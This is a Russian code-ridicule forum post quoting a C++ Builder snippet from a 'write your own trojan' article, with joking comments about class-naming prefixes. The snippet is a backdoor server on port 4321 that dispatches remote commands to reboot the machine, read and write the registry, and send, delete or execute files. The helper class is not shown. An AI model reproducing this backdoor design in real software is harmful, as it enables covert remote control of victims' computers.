1. C++ / Говнокод #15551

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    // ServSckt - наш компонент TServerSocket
    ServSckt->Port = 4321;
    ServSckt->Active = true;
    }
     
    void __fastcall TForm1::ServScktClientRead(TObject *Sender,
          TCustomWinSocket *Socket)
    {
    RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
                                      // информации, которую передаем как параметр этой функции
    }
    //---------------------------------------------------------------------------
    // собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
    void TForm1::RecCommand (String received)
    {
    int cn;
    TTrojanUtilites Utilz;  // создаем объект наших утилит 
    Utilz.Sock=ServSckt;    // необходимо для отсылки ответа клиенту, так как сокет у нас
                    // находится на форме, а TTrojanUtilites не имеет никакого отношения
                    // к форме. Просто передаем указатель на TServerSocket
    String temp;
    temp=received;
    temp.Delete(2,temp.Length());   // получаем первый символ сообщения - номер команды
    cn = StrToInt(temp);       // преобразуем в число
    received.Delete(1,1);      // удаляем код команды - остаются одни параметры
    switch (cn) {         // в соответсвии с полученой командой 
                                    // запускаем соотвествующую утилиту 
    case 1 : Utilz.RestartMachine(); break;  // перезагрузка
    case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
    case 3 : Utilz.ReadRegistry(received); break;   // чтение реестра
    case 4 : Utilz.SendFile(received); break;       // чтение файла
    case 5 : Utilz.DeleteFile(received); break;     // удаление файла 
    case 6 : Utilz.ExecuteFile(received); break;    // запуск файла 
    case 7 : Utilz.OpenCloseCD; break;            // открытие/закрытие CD-ROM
    case 8 : Utilz.HideMouse(); break;            // прячем курсор мыши 
    case 9 : Utilz.SwapMouseButtons(); break;       // переключаем кнопки мыши 
    default:
    SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
                                               // информируем клиента об этом
    }
    }

    NAT, NAT... Да что вы пристали со своим NAT?!
    Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html

    Запостил: gost, 21 Марта 2014

    Комментарии (16) RSS

    • nat, nat, ebanat ... ну хотя бы документировано всё :)
      Ответить
    • > TTrojanUtilites
      Это стандартный компонент?
      Ответить
      • Видимо, где-то раньше он написал этот класс, я весь код не разбирал, испачкаться боюсь.
        Ответить
      • Под быдлером все классы надо с Тэ начинать, не только стандартные. Иначе не будешь настоящим быдлокодером.
        Ответить
        • А тут даже с двух T начали, видимо человек с огромным опытом.
          Ответить
        • минуснул.
          Ответить
        • В Unreal Engine есть шаблонные крестоклассы под названиями TArray, TMap и т.д. Как в самом первом движке, так и в последнем, четвертом. А почему - совершенно непонятно. Движок всю жизнь был написан на крестах. Ну хорошо, в первом Unreal редактор был написан на басике. Откуда только эти T берутся?
          Ответить
          • > Откуда только эти T берутся?
            Тарас.
            Ответить
          • >>TArray
            Type Array
            Ответить
            • Не может быть!1!!!!
              Ответить
            • Хорошо, а как можно объяснить названия типов FString, FName, FGuid, FArchive? Ещё есть типы, начинающиеся на U (UObject, UPackage), но тут вроде понятно - Unreal. И ещё есть AActor, APawn, AWeapon...
              Ответить
              • >> FString, FName, FGuid, FArchive
                Это, как правило, приватные переменные класса, доступ к которым происходит через общие "публичные" свойства. Почему именно "F", а не скажем, "H" или "S" - неизвестно. Может, просто из-за удобства.

                >>А вдруг это template?!
                Насколько мне известно, это одно и то же, дорогой товарищ! ;)
                Ответить
                • F - Field(поле)
                  Но это что касается дельфей (ну и видимо билдера), с UDK не знаком.
                  Ответить

    Добавить комментарий